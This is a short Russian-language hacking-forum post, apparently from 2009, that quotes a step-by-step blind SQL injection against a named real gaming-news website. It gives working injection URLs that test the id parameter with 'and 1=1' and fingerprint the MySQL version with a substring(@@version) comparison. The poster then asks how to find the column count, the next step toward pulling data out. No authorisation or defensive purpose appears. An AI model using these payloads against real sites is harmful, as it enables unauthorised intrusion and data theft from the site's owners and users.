11.01.2009, 16:00
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062
Репутация:
1550
|
|
Сообщение от z00MAN
вот имеется наш урл:
Код:
http://www.check6gaming.com/news.php?id=67
для теста на inj проверяем
Код:
http://www.check6gaming.com/news.php?id=67+and+1=1
выводится тот же запрос,что и при id=67
определяем версию:
substring(@@version,1,1)=4
первый символ сравниваем с 4, если 4 версия то отобразиться такая же странцица как и при id=67
наконец запрос
Код:
http://www.check6gaming.com/news.php?id=67+and+substring(@@version,1,1)=5
не выдает ошибки, соответственно версия мускула = 5 Хех, спасибо =)
Как бы еще количество столбцов...
|
|
|